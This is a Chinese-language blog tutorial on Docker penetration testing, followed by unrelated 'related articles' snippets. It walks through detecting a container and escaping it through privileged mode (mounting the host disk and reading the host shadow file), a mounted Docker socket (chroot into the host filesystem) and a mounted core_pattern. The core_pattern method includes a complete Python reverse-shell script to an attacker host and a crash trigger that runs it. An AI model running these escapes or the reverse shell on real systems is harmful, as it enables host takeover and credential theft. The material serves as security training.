当前位置: 首页 > news >正文

云上攻防-云原生篇Docker安全权限环境检测容器逃逸特权模式危险挂载

文章目录

  • 前言
    • 1、Docker是干嘛的?
    • 2、Docker对于渗透测试影响?
    • 3、Docker渗透测试点有那些?
    • 4、前渗透-判断在Docker中
      • 方式一:查询cgroup信息
      • 方式二:检查/.dockerenv文件
      • 方式三:检查mount信息
      • 方式四:查看硬盘信息
      • 方式五:查看文件系统以及挂载点
    • 5、前渗透-镜像中的应用漏洞
    • 6、前渗透-镜像中的默认配置
    • 7、后渗透-三种安全容器逃逸
  • 容器逃逸-特权模式
  • 容器逃逸-危险挂载
    • 1、挂载Docker Socket逃逸
    • 2、挂载宿主机procfs逃逸

前言

1、Docker是干嘛的?

Docker 是一个开放源代码软件,是一个开放平台,用于开发应用、交付(shipping)应用、运行应用。Docker允许用户将基础设施(Infrastructure)中的应用单独分割出来,形成更小的颗粒(容器),从而提高交付软件的速度。
Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。

2、Docker对于渗透测试影响?

3、Docker渗透测试点有那些?

在这里插入图片描述

4、前渗透-判断在Docker中

没有权限:端口扫描详细信息,根据应用对象表现
但是想通过端口扫描判断对方是不是docker服务几乎是不可能的(我没遇到……)

拿到权限:

方式一:查询cgroup信息

docker中:
在这里插入图片描述真实主机上:
在这里插入图片描述

方式二:检查/.dockerenv文件

通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境
docker中:
在这里插入图片描述真实主机上:
在这里插入图片描述
不过有一点需要注意的是,如果你获取的shell权限过小的话(www-data、或是某一服务的用户),根目录下也是不存在.dockerenv文件的
在这里插入图片描述

方式三:检查mount信息

利用mount查看挂载磁盘是否存在docker相关信息。

docker中:
在这里插入图片描述真实主机上:
在这里插入图片描述

方式四:查看硬盘信息

fdisk -l 容器输出为空,非容器有内容输出。

docker中:
在这里插入图片描述真实主机上:
在这里插入图片描述

方式五:查看文件系统以及挂载点

df -h 检查文件系统挂载的目录,也能够简单判断是否为docker环境。

df -h | egrep '(overlay|aufs)'

docker中:
在这里插入图片描述
真实主机上:
在这里插入图片描述

参考:https://blog.csdn.net/qq_23936389/article/details/131467165

5、前渗透-镜像中的应用漏洞

正常web渗透测试

6、前渗透-镜像中的默认配置

7、后渗透-三种安全容器逃逸

-特权模式启动导致(不安全启动 适用于java jsp高权限无需提权 还要提权才能逃逸)
-危险挂载启动导致(危险启动 适用于java jsp高权限无需提权 还要提权才能逃逸)
-docker自身&系统漏洞(软件漏洞和系统漏洞 都可用)
https://wiki.teamssix.com/CloudNative/
在这里插入图片描述

容器逃逸-特权模式

启动靶场:docker run --rm --privileged=true -it alpine
在这里插入图片描述检测环境:cat /proc/1/cgroup | grep -qi docker && echo “Is Docker” || echo “Not Docker”
在这里插入图片描述判断特权:cat /proc/self/status | grep CapEff
如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
在这里插入图片描述
查看目录:fdisk -l
在这里插入图片描述特权逃逸:mkdir /test && mount /dev/vda1 /test
在这里插入图片描述判断结果:尝试访问宿主机 shadow 文件,可以看到正常访问
在这里插入图片描述

容器逃逸-危险挂载

1、挂载Docker Socket逃逸

启动靶场:docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
进入环境:docker exec -it with_docker_sock /bin/bash
检测环境:ls -lah /var/run/docker.sock
在这里插入图片描述挂载逃逸:
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
docker run -it -v /:/host ubuntu /bin/bash
在这里插入图片描述chroot /host
在这里插入图片描述

2、挂载宿主机procfs逃逸

启动环境:docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
检测环境:find / -name core_pattern
在这里插入图片描述找到当前容器在宿主机下的绝对路径

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

在这里插入图片描述这就表示当前绝对路径为

/var/lib/docker/overlay2/5c86feb33aba7c5fc559bee1a7b47b1f8004e1f6f20db4b97d8efbfa4cc33a19/merged

创建一个反弹 Shell 的 py 脚本

cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"
lport = xxxx
def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")os.remove('/tmp/.x.py')s.close()
if __name__ == "__main__":main()
EOF

给 Shell 赋予执行权限

chmod 777 .x.py

写入反弹 shell 到目标的 proc 目录下

echo -e "|/var/lib/docker/overlay2/ad9b33531057ae1736388c0198e80e49de165b12d9d16bd81fd44022cff0e72f/merged/tmp/.x.py \rcore    " >  /host/proc/sys/kernel/core_pattern

在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序

cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{int *a = NULL;*a = 1;return 0;
}
EOF
gcc x.c -o t
./t

在这里插入图片描述不过我这里尝试了好几次都没有成功……

模拟真实场景:
1、高权限-Web入口到Docker逃逸(Java)

docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721

在这里插入图片描述在这里插入图片描述在这里插入图片描述2、低权限-Web入口到Docker逃逸(PHP)

docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa

java大部分都是高权限,php需提权……

相关文章:

云上攻防-云原生篇Docker安全权限环境检测容器逃逸特权模式危险挂载

文章目录 前言1、Docker是干嘛的&#xff1f;2、Docker对于渗透测试影响&#xff1f;3、Docker渗透测试点有那些&#xff1f;4、前渗透-判断在Docker中方式一&#xff1a;查询cgroup信息方式二&#xff1a;检查/.dockerenv文件方式三&#xff1a;检查mount信息方式四&#xff1…...

PDE数值解中,为什么要引入弱解(weak solution)的概念?

See https://www.zhihu.com/question/24243246?utm_sourceqq&utm_mediumsocial&utm_oi1315073218793488384...

使用pdfjs实现在线预览pdf

在工作中可能会遇到前端展示pdf文件进行预览并提供下载的需求场景,例如操作指引,这个时候需要寻找一款实现该功能的插件,以pdjjs举例子 1. 安装pdf.js npm install pdfjs-dist2. 引入pdf.js import pdfjsLib from pdfjs-dist3.加载pdf文件流 这个地方区分是请求后端接口还是…...

汇编语言基础

引言 汇编语言是直接在硬件之上工作的编程语言&#xff0c;首先要了解硬件系统的结构&#xff0c;才能有效的应用汇编语言对其编程。汇编课程的研究重点放在如何利用硬件系统的编程结构和指令集有效灵活的控制系统进行工作。 基础知识 1.1机器语言 机器语言是机器指令的集合…...

格式工厂怎么把两个视频合并在一起

免费的工具谁不喜欢呢&#xff0c;今天为大家介绍的是格式工厂这款多功能视频转换软件&#xff0c;然而今天主要为大家介绍的是格式工厂的视频合并功能。 是的&#xff0c;你没有听错&#xff0c;格式工厂除了转换之外&#xff0c;还可以视频合适、视频剪辑、视频分割、去水印…...

2.MySQL表的操作

个人主页&#xff1a;Lei宝啊 愿所有美好如期而遇 表的操作 (1)表的创建 CREATE TABLE table_name ( field1 datatype, field2 datatype, field3 datatype ) character set 字符集 collate 校验规则 engine 存储引擎; 存储引擎的不同会导致创建表的文件不同。 换个引擎。 t…...

网络安全之应急流程

近期需要弄一个网络安全应急的流程&#xff0c;其实对于网络安全应急并不陌生&#xff0c;只是在一些特定的环境上会遇到一些难以解决的问题或者缺少某个岗位的技术人员&#xff0c;因为不同运营商的应急小队也是不同的岗位&#xff0c;如今有着安全设备的告警和预警&#xff0…...

[Python进阶] 操纵鼠标:pyuserinput

6.2 操纵鼠标&#xff1a;pyuserinput 6.2.1 说明 在安装pyuserinput库时会自动安装PyMouse和PyKeyboard库。前者主要用来操作鼠标&#xff0c;包括鼠标的点击、移动等。后者主要用来操作键盘&#xff0c;包括键盘按键的按下、弹起等。 这两个库还可以同时对鼠标和键盘的事件…...

【LeetCode】每日一题两数之和寻找正序数组的中位数找出字符串中第一个匹配项的下标在排序数组中查找元素的第一个和最后一个位置

主页点击直达&#xff1a;个人主页 我的小仓库&#xff1a;代码仓库 C语言偷着笑&#xff1a;C语言专栏 数据结构挨打小记&#xff1a;初阶数据结构专栏 Linux被操作记&#xff1a;Linux专栏 LeetCode刷题掉发记&#xff1a;LeetCode刷题 算法&#xff1a;算法专栏 C头…...

与HTTP相关的各种协议

TCP/IP TCP/IP协议是目前网络世界“事实上”的标准通信协议&#xff0c;实际上是一系列网络通信协议的统称&#xff0c;其中最核心的两个协议是 TCP和IP&#xff0c;其他的还有 UDP、ICMP、ARP 等等&#xff0c;共同构成了一个复杂但有层次的协议栈。 这个协议栈有四层&#x…...

常见的网络攻击手段

网络攻击对个人、组织和整个社会都带来了严重的威胁&#xff0c;因此必须采取有效的安全措施来保护网络系统和用户的信息安全。网站是攻击者经常瞄准的目标&#xff0c;以下是一些常见的攻击方式&#xff1a; 1. DDoS攻击&#xff08;分布式拒绝服务攻击&#xff09;&#xff1…...

学习笔记---超基础+详细+新手的顺序表~~

目录 1.顺序表的前言 1.1 顺序表--->通讯录&#x1f4c7; 1.2 数据结构的相关概念&#x1f3c7; 1.2.1 什么是数据结构 1.2.1 为什么需要数据结构 2. 顺序表概念及分类 2.1 顺序表的概念&#x1f419; 2.2 顺序表的分类&#x1f42b; 2.2.1 顺序表和数组的区别 2.…...

Java高级-CompletableFuture并发编程利器

CompletableFuture核心Api 1.概述2.Async2.a) supplyAsync2.b) runAsync 3.Then3.a) thenApply()3.b) thenApplyAsync() 1.概述 Future可以在并发编程中异步获取结果 CompletableFuture实现了Future接口&#xff0c;肯定也会有Future的功能&#xff0c;也相当于是Future的一个…...

python、java、c++哪一个前景比较好?

Python是一种广泛使用的高级编程语言&#xff0c;适用于数据分析、人工智能、机器学习等领域。Java是一种通用的编程语言&#xff0c;适用于企业级应用开发、网站开发、软件开发、嵌入式领域等。C是一种系统编程语言&#xff0c;适用于嵌入式开发、游戏开发、音视频、服务端开发…...

【排序算法】详解直接插入排序和希尔排序原理及其性能分析

文章目录 插入排序算法原理细节分析代码实现复杂度分析:稳定性分析:与冒泡排序的对比 希尔排序算法原理细节分析代码实现复杂度分析稳定性分析 总结对比 插入排序 算法原理 插入排序又或者说直接插入排序,是一种和冒泡排序类似的并且比较简单的排序方法&#xff0c; 基本思想…...

JDK1.8对HashMap的优化、以及通过源码解析1,8扩容机制

JDK 1.8 对 HashMap 进行了一些优化&#xff0c;主要包括以下几个方面的改进&#xff1a; 红黑树&#xff1a;在 JDK 1.8 中&#xff0c;当哈希碰撞&#xff08;多个键映射到同一个桶&#xff09;达到一定程度时&#xff0c;HashMap 会将链表转化为红黑树&#xff0c;以提高查找…...

Linux串口断帧处理

报文格式 1 Byte 4 Byte N Byte 4 Byte 1 Byte 0x02 报文长度 报文 CRC16 0x03 1. 每条报文以 STX&#xff08;0x02&#xff09;起始符开始&#xff0c;以 ETX&#xff08;0x03&#xff09;终止符结束。 2. 报文正文长度采用 4 字节的 10 进制字符串标识&#xff0c;如报文正…...

springboot集成kafka

1、引入依赖 <dependency><groupId>org.springframework.kafka</groupId><artifactId>spring-kafka</artifactId><version>2.8.6</version></dependency> 2、配置 server:port: 9099 spring:kafka:bootstrap-servers: 192.1…...

近期总结2023.10.16

规律 1.两数相减&#xff0c;相加的最大&#xff0c;最小值 2.由最初的状态递推 3.无强制顺序&#xff0c;排序,不能排序&#xff0c;则与顺序有关 4.对于一段等差数列&#xff0c;不用一段一段的算局部整体&#xff0c;可以从整体一步步加差值 5.需要从一段式子推到结果困难&…...

【EI会议征稿】第二届可再生能源与电气科技国际学术会议(ICREET 2023)

第二届可再生能源与电气科技国际学术会议(ICREET 2023) 2023 2nd International Conference on Renewable Energy and Electrical Technology 2020年中国可再生能源发电规模显著扩大&#xff0c;风力和太阳能发电均呈迅速增长趋势。中国大力推进能源低碳化&#xff0c;减少温…...

RestClient

什么是RestClient RestClient 是 Elasticsearch 官方提供的 Java 低级 REST 客户端&#xff0c;它允许HTTP与Elasticsearch 集群通信&#xff0c;而无需处理 JSON 序列化/反序列化等底层细节。它是 Elasticsearch Java API 客户端的基础。 RestClient 主要特点 轻量级&#xff…...

Android Wi-Fi 连接失败日志分析

1. Android wifi 关键日志总结 (1) Wi-Fi 断开 (CTRL-EVENT-DISCONNECTED reason3) 日志相关部分&#xff1a; 06-05 10:48:40.987 943 943 I wpa_supplicant: wlan0: CTRL-EVENT-DISCONNECTED bssid44:9b:c1:57:a8:90 reason3 locally_generated1解析&#xff1a; CTR…...

进程地址空间(比特课总结)

一、进程地址空间 1. 环境变量 1 &#xff09;⽤户级环境变量与系统级环境变量 全局属性&#xff1a;环境变量具有全局属性&#xff0c;会被⼦进程继承。例如当bash启动⼦进程时&#xff0c;环 境变量会⾃动传递给⼦进程。 本地变量限制&#xff1a;本地变量只在当前进程(ba…...

使用分级同态加密防御梯度泄漏

抽象 联邦学习 &#xff08;FL&#xff09; 支持跨分布式客户端进行协作模型训练&#xff0c;而无需共享原始数据&#xff0c;这使其成为在互联和自动驾驶汽车 &#xff08;CAV&#xff09; 等领域保护隐私的机器学习的一种很有前途的方法。然而&#xff0c;最近的研究表明&…...

蓝桥杯 2024 15届国赛 A组 儿童节快乐

P10576 [蓝桥杯 2024 国 A] 儿童节快乐 题目描述 五彩斑斓的气球在蓝天下悠然飘荡&#xff0c;轻快的音乐在耳边持续回荡&#xff0c;小朋友们手牵着手一同畅快欢笑。在这样一片安乐祥和的氛围下&#xff0c;六一来了。 今天是六一儿童节&#xff0c;小蓝老师为了让大家在节…...

最新SpringBoot+SpringCloud+Nacos微服务框架分享

文章目录 前言一、服务规划二、架构核心1.cloud的pom2.gateway的异常handler3.gateway的filter4、admin的pom5、admin的登录核心 三、code-helper分享总结 前言 最近有个活蛮赶的&#xff0c;根据Excel列的需求预估的工时直接打骨折&#xff0c;不要问我为什么&#xff0c;主要…...

高危文件识别的常用算法:原理、应用与企业场景

高危文件识别的常用算法&#xff1a;原理、应用与企业场景 高危文件识别旨在检测可能导致安全威胁的文件&#xff0c;如包含恶意代码、敏感数据或欺诈内容的文档&#xff0c;在企业协同办公环境中&#xff08;如Teams、Google Workspace&#xff09;尤为重要。结合大模型技术&…...

VTK如何让部分单位不可见

最近遇到一个需求&#xff0c;需要让一个vtkDataSet中的部分单元不可见&#xff0c;查阅了一些资料大概有以下几种方式 1.通过颜色映射表来进行&#xff0c;是最正规的做法 vtkNew<vtkLookupTable> lut; //值为0不显示&#xff0c;主要是最后一个参数&#xff0c;透明度…...

【决胜公务员考试】求职OMG——见面课测验1

2025最新版&#xff01;&#xff01;&#xff01;6.8截至答题&#xff0c;大家注意呀&#xff01; 博主码字不易点个关注吧,祝期末顺利~~ 1.单选题(2分) 下列说法错误的是:&#xff08; B &#xff09; A.选调生属于公务员系统 B.公务员属于事业编 C.选调生有基层锻炼的要求 D…...

如何在网页里填写 PDF 表格?

有时候&#xff0c;你可能希望用户能在你的网站上填写 PDF 表单。然而&#xff0c;这件事并不简单&#xff0c;因为 PDF 并不是一种原生的网页格式。虽然浏览器可以显示 PDF 文件&#xff0c;但原生并不支持编辑或填写它们。更糟的是&#xff0c;如果你想收集表单数据&#xff…...